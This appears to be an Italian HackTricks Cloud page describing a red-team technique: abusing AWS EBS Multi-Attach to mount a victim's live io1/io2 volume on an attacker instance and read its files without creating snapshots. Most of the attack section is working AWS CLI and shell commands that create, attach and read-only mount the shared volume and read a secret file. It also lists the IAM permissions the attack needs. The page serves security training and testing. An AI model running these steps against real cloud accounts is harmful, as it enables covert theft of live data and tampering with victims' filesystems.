AWS - Live Data Theft via EBS Multi-Attach
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Sommario
Abusa di EBS Multi-Attach per leggere da un volume dati live io1/io2 allegando lo stesso volume a un'istanza controllata dall'attaccante nella stessa Zona di disponibilità (AZ). Montare il volume condiviso in sola lettura consente l'accesso immediato ai file in uso senza creare snapshots.
Requisiti
- Volume di destinazione: io1 o io2 creato con --multi-attach-enablednella stessa AZ dell'istanza dell'attaccante.
- Permessi: ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancessul volume/istanze target.
- Infrastruttura: tipi di istanza basati su Nitro che supportano Multi-Attach (famiglie C5/M5/R5, ecc.).
Note
- Montare in sola lettura con -o ro,noloadper ridurre il rischio di corruzione e evitare il replay del journal.
- Sulle istanze Nitro il dispositivo EBS NVMe espone un percorso stabile /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(helper sotto).
Prepara un volume io2 Multi-Attach e collegalo all'istanza vittima
Esempio (crea in us-east-1a e collegalo all'istanza vittima):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Sulla vittima, format/mount il nuovo volume e scrivi dati sensibili (illustrativo):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Collegare lo stesso volume all'attacker instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Montare in read-only sull'attacker e leggere i dati
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Lo stesso VOL_ID mostra più Attachments (victim and attacker) e l'attacker può leggere i file scritti dalla victim senza creare alcuno snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Guida: trovare il percorso del dispositivo NVMe tramite Volume ID
Sulle istanze Nitro, usa il percorso by-id stabile che incorpora l'ID del volume (rimuovi il trattino dopo vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impatto
- Accesso immediato in lettura ai dati live sul volume EBS di destinazione senza generare snapshots.
- Se montato in read-write, l'attaccante può manomettere il filesystem della vittima (rischio di corruzione).
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud